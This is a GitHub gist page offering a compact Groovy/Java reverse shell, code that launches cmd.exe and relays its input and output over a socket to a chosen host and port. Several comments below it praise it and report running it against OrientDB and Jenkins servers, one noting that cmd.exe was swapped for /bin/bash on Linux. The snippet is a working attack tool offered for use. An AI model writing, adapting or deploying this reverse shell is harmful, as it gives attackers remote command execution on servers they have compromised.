Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@muttiopenbts

This comment has been minimized.

Copy link

muttiopenbts commented May 1, 2017

Nice one Chris.
Tested this on Orientdb-Linux and worked a treat.

@Reelix

This comment has been minimized.

Copy link

Reelix commented Feb 8, 2018

Works well - Thanks :)

@d3w201

This comment has been minimized.

Copy link

d3w201 commented Mar 2, 2018

N111ce!

@patrickhener

This comment has been minimized.

Copy link

patrickhener commented Apr 4, 2018

Very Nice!

@N0ur5

This comment has been minimized.

Copy link

N0ur5 commented Nov 27, 2018

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.